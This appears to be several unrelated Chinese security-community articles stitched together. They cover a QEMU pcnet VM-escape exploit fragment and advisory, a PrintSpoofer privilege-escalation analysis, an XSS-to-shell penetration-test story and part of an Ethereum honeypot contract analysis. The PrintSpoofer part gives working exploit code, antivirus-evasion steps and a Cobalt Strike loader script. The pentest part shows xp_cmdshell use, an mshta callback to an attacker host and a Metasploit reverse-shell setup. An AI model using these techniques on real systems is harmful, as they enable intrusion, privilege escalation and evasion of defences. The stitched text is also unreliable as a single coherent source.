tmd->status=0x8300;
tmd->misc=0x0;
tmd->res=0x0;
//pcnet_transmit()
write_csr(0,0x8);
}
int init_module(void)
{
looptest_overflow();
return 0;
}
void cleanup_module(void)
{
}
实际的攻击视频:
**
**
**CVE-2015-7512**
**简介**
今年9月,360云安全团队安全研究员–刘令(Ling
Liu)向QEMU的安全团队提交了pcnet网卡模拟组件中的一个缓冲区溢出漏洞,经过确认后漏洞编号为CVE-2015-7504。该漏洞具备如下特性:
1\. 该漏洞在虚拟机收到数据包时直接触发,攻击构造条件难度中低
2\. 虚拟机所处环境需确保pcnet网卡能够接收到QEMU传递过来的大于4096长度的数据包。
3\. 利用该漏洞可以直接控制CPU的指令指针寄存器(Intel
X86体系为EIP或RIP),在未开启地址随机功能的宿主机系统上可以执行任意代码(即“虚拟机逃逸”)
4\. 配合特定反随机化技巧/漏洞攻击者可以在开启地址随机化保护功能的宿主操作系统上实现任意代码执行
**分析**
在配置了pcnet网卡的虚拟机启动时,pcnet_common_init会将pcnet_receive注册为该网卡收到数据包时的处理函数。当网卡收到数据包时,qemu_deliver_packet()会调用pcnet_receive,并传入数据包所在地址和大小。在网卡不为looptest模式时,pcnet_receive直接将数据包复制到PCNetState结构体的buffer[4096]中。
然而当网卡收到的数据包的长度大于4096时,超出的数据便会覆盖PCNetState结构中的irq、phys_mem_read、dma_opaque等。
攻击内存布局大致如下:
**触发途径**
由于系统中MTU的限制,通常的数据包长度不会达到4096以上。那么至少在以下两种情况下可以触发此漏洞:
配置pcnet的guest使用tap方式启动,该tap在host端的MTU要大于4096,则可由host发送大数据包即可触发漏洞。
guest启动时配有pcnet、e1000双网卡且处于同一vlan中,guest中e1000网卡的MTU要大于4096,则在guest中,通过e1000发送大数据包即可触发漏洞。
**漏洞演示**
启动qemu时pcnet为tap方式,配置IP使host与guest处于同一网段。在host端通过该tap发送raw
packet给pcnet网卡。gdb中显示s->irq、s->phys_mem_write等值被覆盖,当s->phys_mem_write被使用时,便可控制RIP,改变程序的执行流程。
**PoC**
发送raw
packet可使用[https://gist.github.com/austinmarton/1922600](https://gist.github.com/austinmarton/1922600)
实际的攻击视频:
**漏洞防护方案**
QEMU官方已经针对受以上两个漏洞影响的版本给出了补丁,请使用pcnet模块的QEMU-KVM或Xen平台用户,尽快选择对应的补丁进行安全升级。
[http://xenbits.xen.org/xsa/](http://xenbits.xen.org/xsa/)
[http://wiki.qemu.org/Main_Page](http://wiki.qemu.org/Main_Page)
目前确认360云不受此次漏洞影响。
**技术参考**
1\. <https://gist.github.com/austinmarton/1922600>
2\. [https://code.google.com/p/google-security-research/issues/detail?id=395](https://code.google.com/p/google-security-research/issues/detail?id=395)
**关于360云**
360云成立于2014年12月31日,以“让企业安全用云”为使命,致力成为企业首选的安全云平台服务提供商。
360云将聚焦提供安全的云计算服务,凝聚资源隔离、数据加密、安全加固等数十种安全防护手段,打造行业第一安全云。
360云结合自身业务,发挥其在互联网领域的技术优势,为用户提供公有云、私有云服务,以及游戏云、视频直播云、智能云等行业解决方案。 | 社区文章 |
# PrintSpoofer提权原理探究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 相关工具实现在文章中列出
## 前言
在安全研究员itm4n发布了PrintSpoofer提权的思路，整体思路其实也是通过中继获取SYSTEM令牌，再通过模拟令牌执行命令。
另有区别的是在`Potato`提权中多数是通过利用RPC中继的方式，例如在`Rotten
Potato`中，通过`CoGetInstanceFromIStorage` 加载COM对象`BITS
服务`来使得以SYSTEM身份运行的`BITS服务`向攻击者监听的端口发起连接并进行NTLM认证,但是NTLM认证仍然需要被重放到RPC服务器(默认情况下是135端口)以构造`对应的协商或者挑战包`从而返回,以实现欺骗`NT
AUTHORITY\SYSTEM`帐户通过
NTLM向我们控制的`TCP`端点进行身份验证，最后通过`AcquireCredentialsHandle`和`AcceptSecurityContext`来完成身份验证过程并获取令牌，从而以高权限令牌指定运行进程
> CoGetInstanceFromIStorage会尝试从 “指定的 host:port” 加载 “指定对象“ 的实例（通过 CLSID
> 指定对象），BITS 的 CLSID 为 {4991d34b-80a1-4291-83b6-3328366b9097}
下图可以很清晰的看出`Rotten Potato`的攻击流程
但是利用该接口在`Windows
10`上将不再适用，原因是可能由于OXID解析器有关，在调用`IstorageTrigger::MarshalInterface`已经省略RPC绑定字符串中的端口，其中port也就是我们的本地侦听器端口，这就意味着COM连接现在只允许在TCP端口135上使用，因此就无法实现中间人攻击，但是RPC不是可用于这种中继场景的唯一协议，这里PrintSpoofer提权中则是使用了非常经典的管道(pipe)
但是在开始之前，想先介绍`Windows Access Token`令牌模拟部分
## Windows Access Token令牌模拟
`Windows Token`又叫`Access
Token(访问令牌)`，它是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后,都会生成一个`Access
Token`，这个Token在用户创建进程或者线程时会被使用并且不断的拷贝，这也就解释了A用户创建一个进程而该进程也不会有B用户的权限。
关于该令牌的解释可以在MSDN中找到:
[https://docs.microsoft.com/zh-cn/windows/win32/secauthz/access-tokens?redirectedfrom=MSDN](https://)
### Access Token组成
令牌分为如下两类:
* 主令牌（Primary令牌）
* 模拟令牌（Impersonation令牌）
> 注:当用户注销后，系统将会使主令牌切换为模拟令牌，而模拟令牌不会被清除，只有在重启机器后才会清除
每个进程都有一个主令牌，用于描述与进程关联的用户帐户的安全上下文。 默认情况下，当进程的线程与安全对象交互时，系统将使用主令牌。
此外，线程可以模拟客户端帐户。模拟允许线程使用客户端的安全上下文与安全对象进行交互。模拟客户端的线程同时具有主令牌和模拟令牌。
令牌的组成主要有如下部分:
用户帐户 ( SID) 安全标识符
用户是其中一个成员的组的 ID
标识 当前登录 会话的 登录 SID
用户 或 用户组拥有的权限列表
所有者 SID
主组的 SID
用户创建安全对象而不指定安全描述符时系统 使用的默认 DACL
访问令牌的源
令牌是主 令牌还是模拟令牌
限制 SID 的可选列表
当前模拟级别
其他统计信息
关于`Windows Access Token`的 **创建过程** :
使用凭据(用户密码)进行认证–>登录Session创建–>Windows返回用户sid和用户组sid–>LSA(Local Security
Authority)创建一个Token–>依据该token创建进程、线程(如果CreaetProcess时自己指定了 Token, LSA会用该Token，
否则就继承父进程Token进行运行)
**模拟等级**
[https://docs.microsoft.com/zh-cn/windows/win32/secauthz/impersonation-levels](https://)
`SECURITY _ IMPERSONATION _ LEVEL`枚举定义四个模拟级别，这些模拟级别确定服务器可以在客户端上下文中执行的操作。
模拟级别 | 说明
---|---
SecurityAnonymous | 服务器无法模拟或标识客户端
SecurityIdentification | 服务器可以获取客户端的标识和特权，但不能模拟客户端
SecurityImpersonation | 服务器可以模拟本地系统上的客户端安全上下文
SecurityDelegation | 服务器可以在远程系统上模拟客户端的安全上下文
文档中给出了三个通过用户身份创建进程的函数:
函数 | 需要特权 | 输入
---|---|---
CreateProcessWithLogon | null | 域/用户名/密码
CreateProcessWithToken | SeImpersonatePrivilege | Primary令牌
CreateProcessAsUser | SeAssignPrimaryTokenPrivilege和SeIncreaseQuotaPrivilege |
Primary令牌
从这三个Win
API中我们可以很容易的发现，当拥有SeAssignPrimaryToken或者SeImpersonate权限时，我们可以通过模拟Primary令牌的方式来创建新进程从而提升权限，换句话说只有当令牌具有Impersonation和Delegation级别的时候才可以进行模拟。
**如何获取令牌**
Win API中提供了`OpenProcessToken/openThreadToken`等函数用来打开某个进程或者线程的访问令牌，其函数原型如下:
BOOL OpenProcessToken(
HANDLE ProcessHandle, //访问令牌已打开的进程的句柄
DWORD DesiredAccess,
PHANDLE TokenHandle //指向句柄的指针，该句柄在函数返回时标识新打开的访问令牌。
);
BOOL OpenThreadToken(
HANDLE ThreadHandle, //打开访问令牌的线程的句柄。
DWORD DesiredAccess,
BOOL OpenAsSelf,
PHANDLE TokenHandle //指向接收新打开的访问令牌句柄的变量的指针
);
> 通过OpenThreadToken/OpenProcessToken函数来获取访问令牌具有客户端安全上下文的模拟令牌。
在这里，模拟令牌和主令牌之间是可以通过`DuplicateTokenEx`函数互相转换的
[DuplicateTokenEx](https://docs.microsoft.com/zh-cn/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex)
文档中给出了`DuplicateTokenEx`创建主令牌的典型场景,服务器应用程序创建一个线程，该线程调用其中一个模拟函数（例如
`ImpersonateNamedPipeClient`）来模拟客户端。模拟线程然后调用
OpenThreadToken函数来获取自己的令牌，该令牌是具有客户端安全上下文的模拟令牌。该线程在对`DuplicateTokenEx`的调用中指定此模拟令牌，并指定
TokenPrimary标志。该DuplicateTokenEx函数创建一个主令牌具有客户端的安全上下文。
因此，一个模拟令牌的过程大概是:
OpenProcess(获取目标进程上下文)->OpenProcessToken(获得进程访问令牌的句柄)–>DuplicateTokenEx(创建一个主/模拟令牌)–>CreateProcessWithTokenW(创建进程)
因此当我们拥有`SeImpersonatePrivilege`权限时便可以通过对进程爆破的方式找到满足如下条件的进程:
* 进程运行用户是SYSTEM
* 令牌级别至少是Impersonation级别
* 攻击者运行的权限至少拥有SeImpersonatePrivilege
这里仿照编写了一个C#的提权程序，遍历进程并且通过`openProcessToken`得到模拟令牌转化成主令牌创建进程
**项目地址:**
**<https://github.com/crisprss/autoGetSystem>**
我们可以看到，当以管理员身份运行cmd时才会有`SeImpersonatePrivilege`
注意不要认为该情况适用于所有存在`SeImpersonatePrivilege`特权的账户，例如服务账户等，因为如果以服务账户启动的时候虽然存在该特权，但是在任务管理器中并没有可以利用的`SYSTEM`权限运行的进程:
而当我们以管理员或者普通用户来查看时会发现:
存在大量的SYSTEM进程可以利用，因此这也就是为何我们还需进一步探索PrintSpoofer提权
## 如何模拟RPC
回到前面遇到的问题上，我们知道在Win 10中已经做出了调整，利用`IStorage
COM`组件只允许和135端口进行通信，意味着中间人攻击已经失效，我们无法进行重放，因此漏洞作者把目光放到了管道上:
管道可以有两种类型：
* 匿名管道 — 匿名管道通常在父进程和子进程之间传输数据。它们通常用于在子进程与其父进程之间重定向标准输入和输出。
* 命名管道 — 命名管道可以在不相关的进程之间传输数据，前提是管道的权限授予对客户端进程的适当访问权限。
我们知道，RPC服务器一般通过`RpcImpersonateClient()`来模拟RPC客户端安全上下文，模拟后续可以进行委派或其他操作，而在Windows中同样管道也可以通过`ImpersonateNamedPipeClient()`RPC模拟客户端
同样是借助官方文档的说明:
命名管道服务器线程可以调用`ImpersonateNamedPipeClient`函数来假定连接到管道客户端的用户的访问令牌。例如，命名管道服务器可以提供对管道服务器具有特权访问权限的数据库或文件系统的访问。当管道客户端向服务器发送请求时，服务器模拟客户端并尝试访问受保护的数据库。然后系统会根据客户端的安全级别授予或拒绝服务器的访问权限。当服务器完成时，它使用`RevertToSelf`函数恢复其原始安全令牌。
**该模拟级别决定了在模拟客户端服务器可以执行的操作。默认情况下，服务器在 SecurityImpersonation模拟级别进行模拟**
。但是，当客户端调用CreateFile函数打开管道客户端的句柄时，客户端可以使用
`SECURITY_SQOS_PRESENT`标志来控制服务器的模拟级别。
这里写了一个简单的管道模拟RPC客户端的程序，显示在模拟RPC客户端时能够拿到的令牌种类和模拟权限,这里主要是通过`TOKEN_STATICS结构体`来确定令牌的相关信息，结构体如下:
typedef struct _TOKEN_STATISTICS {
LUID TokenId;
LUID AuthenticationId;
LARGE_INTEGER ExpirationTime;
TOKEN_TYPE TokenType;
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
DWORD DynamicCharged;
DWORD DynamicAvailable;
DWORD GroupCount;
DWORD PrivilegeCount;
LUID ModifiedId;
} TOKEN_STATISTICS, *PTOKEN_STATISTICS;
其中核心代码贴出:
**项目地址:**
**<https://github.com/crisprss/listTokeninfoByPipe>**
可以看到在这里映证了通过`OpenThreadToken`拿到的令牌是模拟令牌，并且模拟级别是`SecurityImpersonation`,意味着服务器可以在本地系统上模拟客户端的安全上下文。
需要注意的是如果连接管道是使用`\\.\pipe\crispr`，连接建立但是并不会有后续操作,也就是说`ImpersonateNamedPipeClient()`函数会失败
这一点在作者原文中也并没有找到答案，因此如果有知道原因的师傅还请指正。
## 令牌的利用
接着前文我们知道获取的令牌是有能够模拟RPC客户端的权限，而在前文`Windows Access
Token`我们提到了如果拥有`SeImpersonatePrivilege`权限时，我们可以通过`CreateProcessWithToken`的方式创建进程，同样用前文所提的写的一个项目来演示:
在这里新加一个函数用来利用令牌实现一些其他的自定义功能,在这里为了演示方便就弹个notepad:
void DoSomethingAsImpersonatedUser(HANDLE hToken)
{
DWORD dwCreationFlags = 0;
dwCreationFlags = CREATE_UNICODE_ENVIRONMENT;
BOOL g_bInteractWithConsole = TRUE;
LPWSTR pwszCurrentDirectory = NULL;
dwCreationFlags |= g_bInteractWithConsole ? 0 : CREATE_NEW_CONSOLE;
LPVOID lpEnvironment = NULL;
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
HANDLE hSystemTokenDup = INVALID_HANDLE_VALUE;
if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup))
{
wprintf(L"DuplicateTokenEx() failed. Error: %d\n", GetLastError());
CloseHandle(hToken);
}
if (!CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, NULL, L"notepad.exe", dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))
{
wprintf(L"CreateProcessWithTokenW() failed. Error: %d\n", GetLastError());
CloseHandle(hSystemTokenDup);
}
else
{
wprintf(L"[+] CreateProcessWithTokenW() OK\n");
}
}
当我们以普通用户运行尝试调用`CreateProcessWithTokenW`时是会失败的，原因是我们并没有`SeImpersonatePrivilege`特权
> 需要注意的是管道就像文件或注册表项一样是安全的对象。这意味着如果没有在创建的命名管道上设置适当的权限，以不同身份运行的客户端可能根本无法访问它
而当我们拥有`SeImpersonatePrivilege`权限时,这里以`NT AUTHORITY\NETWORK SERVICE`服务用户为例
我们可以看到成功通过SYSTEM权限的令牌创建了进程`notepad.exe`
因此通过这个demo就已经基本清楚了我们的方向和步骤，只要能够让高权限进程和我们的管道进行连接，便可以通过管道模拟RPC客户端得到SYSTEM令牌后创建进程从提权
## 如何欺骗SYSTEM连接管道
作者是利用了 **打印机错误** 漏洞
项目地址:<https://github.com/leechristensen/SpoolSample>
Windows的`MS-RPRN`协议用于打印客户机和打印服务器之间的通信，默认情况下是启用的。协议定义的`RpcRemoteFindFirstPrinterChangeNotificationEx()`调用创建一个远程更改通知对象，该对象监视对打印机对象的更改，并将更改通知发送到打印客户端。
其函数原型如下:
**pszLocalMachine：指向表示客户端计算机名称的字符串的指针。**
这意味着我们可以利用该错误通过`MS-RPRN RPC`接口强制Windows主机向其他机器进行身份验证,
**另外微软表示这个bug是系统设计特点，无需修复。**
但这和管道又有什么关系呢？答案是有的，我们来看Windows官方文档中给出打印机客户端的初始化说明:
这意味着`Print Spooler`服务的RPC接口其实是暴露在命名管道：`\\.\pipe\spoolss`，而该该项服务是默认开启的状态
我们可以通过[pipelist](https://docs.microsoft.com/en-us/sysinternals/downloads/pipelist)来查看:
此时又出现一个问题，本来打印机错误是针对攻击域控主机，连接域控主机然后在本地机器上接收通知，即本地扮演打印机客户端的角色，但是由于本地提权的原因，我们需要
**连接到本地机器并在本地机器上接收通知**
我们先使用原作者的项目[SpoolSample](https://github.com/leechristensen/SpoolSample)
如果我们都设置为本地机器时，此时会出现一个问题，该打印机漏洞利用的原理其实是
**强迫运行Spooler服务的任何主机通过Kerberos或者NTLM向攻击者选择的目标发起身份认证请求**
我们这里只需要强迫主机通过管道连接到我们的管道即可
但是在这里由于调用`RpcRemoteFindFirstPrinterChangeNotification(Ex)`方法，服务通知将发送到`\\AttackIP\pipe\spoolss`.
这个管道是由`NT AUTHORITY\SYSTEM`控制，而该管道已经存在因此我们不能创建自己的同名管道
当尝试在管道后面加入`\`来表示让`\\localhost\pipe\crispr`管道接受服务通知时我们可以看到调用其实会由于路径验证检查而失败,意味着同样还是使用`\pipe\spools`管道进行接收
而我们是想指定我们之前所写好的恶意管道进行接收，这样才能够模拟高权限RPC客户端从而创建进程，难道在这里就无法指定我们的恶意管道进行接收吗？
### 利用
回到我们之前的一张图
在官方文档中给出了[说明](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d)，这里`pszLocalMachine`可以是一个UNC路径
因此如果SERVER_NAME是`\\127.0.0.1\`，系统用户会访问 `\\127.0.0.1\pipe\spoolss`
但如果是这样呢?
如果主机名包含`/`，它将通过路径验证检查，但是在计算要连接的命名管道的路径时，规范化会将其转换为`\`，并且系统还将其认为是IPC连接的方式去发送服务通知
因此，作者的思路便很容易产生了，我们将接收通知的主机名设置为`\\localhost/pipe/crispr`,由于路径规范化的问题，打印机服务器会误认为打印机客户端的管道为`\\localhost\pipe\crispr\pipe\spoolss`
而该管道和默认`\\.\pipe\spoolss`不是同一个管道，因此我们可以通过创建恶意管道`\\localhost\pipe\crispr\pipe\spoolss`来等待SYSTEM权限的`spoolsv.exe`进程连接我们的管道:
仍然通过前文的测试程序进行演示:
通过普通用户的权限成功提权至SYSTEM，并且列出了令牌的相关信息和权限情况，注意这里我们同样只是使用了具有`SeImpersonatePrivilege`特权的服务账户，具体原因[官方文档](https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient)中给出了答案
## 写在最后
原理分析到这已经到尾声，最后就是提权漏洞作者itm4n给出的Printspoofer的项目
[https://github.com/itm4n/PrintSpoofer/tree/master/PrintSpoofer](https://)
然而该程序显然已经被主机防护软件列为黑名单了，因此我们还需要在源代码的基础上做出修改以绕过主机防护软件的拦截
根据之前的文章，可以考虑全局修改`printspoofer`关键词进行绕过，这里全部修改为`pipeCrispr`后编译生成发现该种方法已经失效:
同样会被拦截，当再次尝试将输出内容全部简化并且输出一些不相关的字符串时重新编译运行可以看到此时防护软件已经不会将其识别成恶意文件，而只是发现进行提权操作，说明在这里我们的更改是部分有效的
当然这里都是可以过静态查杀，只是肯定需要动态运行进行提权，因此还需要绕过动态查杀，因此在这里我首先尝试使用前文的`testpipe.exe`结合`spoolSample`如果打开不是`cmd.exe`等进程并不会被拦截:
而当打开为`cmd.exe`进程时则会被提示可疑提权操作，因此判断可能是监控了进程树发现该进程产生了`cmd.exe`的子进程
正当我一筹莫展之时想到了不妨使用比较传统的加密免杀软件试试加密，这里我选择 **shellter**
,生成32位的程序，然后通过`shellter.exe`进行加密，不幸的是尝试过很多姿势都避免不了沙箱和动态查杀，因此想到了使用反射DLL注入的方式结合CS进行攻击
反射DLL已经有了比较成熟的项目，并且一般CS中编写反射注入DLL基本都是使用的该项目
<https://github.com/stephenfewer/ReflectiveDLLInjection>
因此当我们构造一个`reflective_dll`进行反射注入，这样避免了文件落地，推测大概率不会被查杀
* 1.导入相关的头文件：ReflectiveDllInjection.h、ReflectiveLoader.cpp、ReflectiveLoader.h
* 2.将原来部分提权的操作放到`dllmain.cpp`中,主要是放在`DLL_PROCESS_ATTACH`中
这里贴下`dllmain.cpp`的代码:
#include "ReflectiveLoader.h"
#include "PrintSpoofer.h"
#include <iostream>
extern HINSTANCE hAppInstance;
EXTERN_C IMAGE_DOS_HEADER __ImageBase;
BOOL PrintSpoofer() {
BOOL bResult = TRUE;
LPWSTR pwszPipeName = NULL;
HANDLE hSpoolPipe = INVALID_HANDLE_VALUE;
HANDLE hSpoolPipeEvent = INVALID_HANDLE_VALUE;
HANDLE hSpoolTriggerThread = INVALID_HANDLE_VALUE;
DWORD dwWait = 0;
if (!CheckAndEnablePrivilege(NULL, SE_IMPERSONATE_NAME)) {
wprintf(L"[-] A privilege is missing: '%ws'\n", SE_IMPERSONATE_NAME);
bResult = FALSE;
goto cleanup;
}
wprintf(L"[+] Found privilege: %ws\n", SE_IMPERSONATE_NAME);
if (!GenerateRandomPipeName(&pwszPipeName)) {
wprintf(L"[-] Failed to generate a name for the pipe.\n");
bResult = FALSE;
goto cleanup;
}
if (!(hSpoolPipe = CreateSpoolNamedPipe(pwszPipeName))) {
wprintf(L"[-] Failed to create a named pipe.\n");
bResult = FALSE;
goto cleanup;
}
if (!(hSpoolPipeEvent = ConnectSpoolNamedPipe(hSpoolPipe))) {
wprintf(L"[-] Failed to connect the named pipe.\n");
bResult = FALSE;
goto cleanup;
}
wprintf(L"[+] Named pipe listening...\n");
if (!(hSpoolTriggerThread = TriggerNamedPipeConnection(pwszPipeName))) {
wprintf(L"[-] Failed to trigger the Spooler service.\n");
bResult = FALSE;
goto cleanup;
}
dwWait = WaitForSingleObject(hSpoolPipeEvent, 5000);
if (dwWait != WAIT_OBJECT_0) {
wprintf(L"[-] Operation failed or timed out.\n");
bResult = FALSE;
goto cleanup;
}
if (!GetSystem(hSpoolPipe)) {
bResult = FALSE;
goto cleanup;
}
wprintf(L"[+] Exploit successfully, enjoy your shell\n");
cleanup:
if (hSpoolPipe)
CloseHandle(hSpoolPipe);
if (hSpoolPipeEvent)
CloseHandle(hSpoolPipeEvent);
if (hSpoolTriggerThread)
CloseHandle(hSpoolTriggerThread);
return bResult;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
BOOL bReturnValue = TRUE;
DWORD dwResult = 0;
switch (dwReason) {
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
if (PrintSpoofer()) {
fflush(stdout);
if (lpReserved != NULL)
((VOID(*)())lpReserved)();
} else {
fflush(stdout);
}
ExitProcess(0);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
完成DLL的编写之后我们接下来在实现cna的编写即可:
sub printspoofer {
btask($1, "Task Beacon to run " . listener_describe($2) . " via PrintSpoofer");
if (-is64 $1)
{
$arch = "x64";
$dll = script_resource("PrintSpoofer.x64.dll");
} else {
$arch = "x86";
$dll = script_resource("PrintSpoofer.x86.dll");
}
$stager = shellcode($2, false, $arch);
bdllspawn!($1, $dll, $stager, "PrintSpoofer local elevate privilege", 5000);
bstage($1, $null, $2, $arch);
}
beacon_exploit_register("PrintSpoofer", "PrintSpoofer local elecate privilege", &printspoofer);
通过反射DLL注入的方式最终实现了免杀
**项目地址:**
[https://github.com/crisprss/PrintSpoofer
](https://)
* * *
参考文章
* <https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/>
* <https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/>
* <https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/>
* [https://docs.microsoft.com/en-us/search/?scope=Desktop&terms=RpcRemoteFindFirstPrinterChangeNotificationEx(](https://docs.microsoft.com/en-us/search/?scope=Desktop&terms=RpcRemoteFindFirstPrinterChangeNotificationEx\())
* <https://daiker.gitbook.io/windows-protocol/ntlm-pian/5>
* <https://rootclay.gitbook.io/windows-access-control/quan-xian-kong-zhi-qi-ta-nei-rong>
* <https://cloud.tencent.com/developer/article/1808276> | 社区文章 |
# **讲在前面**
第一次写文章，可能逻辑不太清晰，我尽自己最大努力，还请各位表哥嘴下留情。
# **XSS**
说起XSS，很多测试人员往往只输入一些简单的payload让其弹窗证明即可（之前我也是这么干的）但通过这篇文章，可能以后不会再让我们仅仅弹个窗证明其XSS漏洞存在；
# **Google语法**
寻找入手点
渗透的思路是首先进行信息搜集，但这次测试的只有getshell或者拿到服务器的权限才给分数，像一般的XSS，csrf、弱口令是不算的即便是拿到后台但是没有getshell的话也是不算的。在这种情况下一般我是寻找上传点，通过Google语法搜索，site:子域名+intitle:注册/登录/系统来寻找可以注册或者登录的地方。
注册成功后发现个人信息处存在XSS漏洞，平常测试都是让其弹窗证明一下即可，没有想通过XSS来做一些事情。因为该处有身份证上传功能，我首先对上传点进行绕过，但是试了各种方法后发现没有成功，故放弃该上传点，开始仔细审查这个网站，发现此处提交个人信息保存后要管理员审核，而又存在存储型XSS，那为什么不碰碰运气打一下管理员的cookie呢。于是在此处插入XSSpayload之后就出去吃饭静等结果。
没想到今天脸确实挺白的，吃饭时发现XSS打到管理员cookie信息的邮箱已经弹到了我的手机上，顾不上吃饭立马回去打开电脑继续搞。
# **XSS盲打后台**
访问之后通过chrome上的EditThisCookie插件替换cookie成功以管理员的身份进入后台，但发现进入的页面是一个类似于静态的页面，只能看到里面的一些信息，其他什么功能都没有：
心想，不应该啊，既然管理员要审核我的用户信息，肯定是要有审核的那个接口，这时就想到了浏览器的同源策略
**浏览器的同源策略**
同源的定义：如果两个页面的协议，端口和主机都相同，则两个页面具有相同的源。Cookie：只有同源的网页才能共享，但是若两个页面一级域名相同，只是二级域名不同，那么浏览器可以通过设置document.domain来共享Cookie。
[同源策略](https://www.jianshu.com/p/8aa9474a148c "同源策略")
果然可行，通过同源策略，我们成功的进入了管理员的后台。
进入后台第一件事：找上传点！同样无果，只能看看有没有其他的突破口。终于在内容管理处找到了一个可以执行sql语句的地方。
既然可以执行SQL语句，那肯定少不了我们的常用命令xp_cmdshell，通过命令exec master..xp_cmdshell 'powershell
whoami'命令成功执行，得知该服务器权限为system权限。
接下来的任务就是反弹shell到我们的MSF上了。但发现powershell反弹shell怎么弹都弹不回来，但走到这一步总不能放弃吧，毕竟我是想进入他们内网拉屎的男人。这时问了公司大佬，大佬说可以用koadic试一试。
[koadic的使用](https://cloud.tencent.com/developer/article/1425744 "koadic的使用")
之前发现社区里面并没有对koadic的介绍，我这里简单的提两句吧。
Koadic是发布于DEFCON上的一个后渗透工具，它和msf相似，但是Koadic主要是通过使用Windows ScriptHost（也称为JScript
/ VBScript）进行大部分的操作，其核心兼容性支持Windows2000到Window 10的环境中使用，Koadic也试图兼容Python
2和Python 3。
设置IP和端口，进行本地监听。
koadic生成的mshta <http://ip/XXXX> 通过xp_cmdshell成功执行命令反弹到koadic上。
监听成功：
cmdshell 0 -->进入cmd命令模式
这里其实使用koadic也可以进行后续操作，如提权、抓密码等，但确实是不太熟悉koadic的一些功能，所以这里我们还是选择使用我们最熟悉的MSF这款神器吧。（吹爆MSF！！-。-）
# **koadic转shell到MSF**
既然在koadic可以执行CMD命令，接下来我们只需要把shell转到msf上即可；
打开MSF :msfconsole
使用web_delivery模块
use exploit/multi/script/web_delivery
设置payload：
set payload windows/x64/meterpreter/reverse_tcp_rc4
set SRVPORT 8081
set lhost XX.XX.XX.XXX
因为之前已经通过koadic监听到，而koadic和MSF都搭在我的服务器上，我们可以将其设置为攻击者的内网IP地址。
查看内网ip：
set reverselistenerbindaddress 172.xx.xx.182
run
生成一个powershell.exe
在koadic执行exe之后成功将shell转移到我们的MSF上
成功接收到sessions
看到熟悉的meterpreter模块真的是老泪纵横啊！！！
因为该服务器的权限直接是system权限，无需提权，正当我想继续内网的主机各种横向各种冲冲冲的的时候发现了一个重要的问题：没有域！！！（哭~）然后登录远程桌面后查看有没有什么关键信息，发现无果，于是乎就到此告一段落，将报告写了之后这次渗透测试就到此为止。
总结：可能我们现在做渗透测试的很多遇到XSS都是弹窗证明漏洞存在即可(不包含所有人，只是我周围的一些同事或者朋友大多如此)，但是只要多做一步，说不定有你意想不到的收获！
注明：整个渗透过程经过授权！！该网站已修复。 | 社区文章 |
### 一、前言叙述
最近，我通过一些相关文章的阅读发现了几个有趣的DAPP。而深入研究后我准备将分析过程记录下来，并分享给读者。本文包括一则蜜罐DAPP，该合约为一则答题类游戏，然而深入分析后发现，这款游戏不仅仅只简单的问答接口，然而对于了解以太坊的人是一个陷阱。所以我对其进行了复现、分析操作，并记录下来引以为戒。
### 二、合约分析与测试
#### 1 蜜罐合约漏洞
我们首先根据代码来对合约进行分析。
//Question and answer honeypot.
pragma solidity ^0.4.20;
contract QUESTION
{
function Play(string _response)
external
payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value>1 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
address questionSender;
bytes32 responseHash;
function StartGame(string _question,string _response)
public
payable
{
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}
function StopGame()
public
payable
{
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
function NewQuestion(string _question, bytes32 _responseHash)
public
payable
{
require(msg.sender==questionSender);
question = _question;
responseHash = _responseHash;
}
function() public payable{}
}
根据代码内容，我们对游戏分析：
合约只拥有四个函数。首先是`play`函数。此函数需要`msg.sender ==
tx.origin`。这句话的意思就是说我函数的调用方不能是由合约进行中间调用的，而是需要我直接调用。关于`msg.sender与tx.origin`的区别，我在前面的文章中讲述过，这里就不再继续详细讲述了。
之后，合约对传入的答案进行判断，并且需要要求传入的value大于`1 ether`。`responseHash ==
keccak256(_response) && msg.value>1
ether`。如果传入的内容判定成功，也就是说回答问题正确。那么我们就可以提取出合约中的所有余额。而这函数也是人人可以参与的。
之后我们看`StartGame`函数。此函数为游戏开始函数，仅能够调用一次。如何进行调用呢？我们来看看代码。首先代码先对传入的参数进行判断：`if(responseHash==0x0)`。这里的含义是什么呢？由于默认情况下，该参数如果不进行赋值操作那么它就等于0x0
。然而倘若问题与答案进行过更新后，那么`responseHash==0x0`就变得很低了，几乎没有可能。所以只有第一次调用的时候能够满足这个条件。
进入函数后，合约对三个变量进行赋值。包括问题、答案以及问题发出者。
之后是游戏终止函数：`StopGame ()`。
在此函数中，合约判断需要问题调用者为问题提出者。当满足条件时，该合约中的余额将被转到提出问题的人账户中。
最后是更新问题`NewQuestion()`。
此函数也需要满足调用者为问题发起者，满足条件后将更新问题与答案。这些函数分析起来并不复杂。我们总结下过程。
游戏规则如下：
* 合约创建者会设置一个问题;
* 任何玩家都可以通过向合约打入不低于 1ETH 的手续费参与作答;
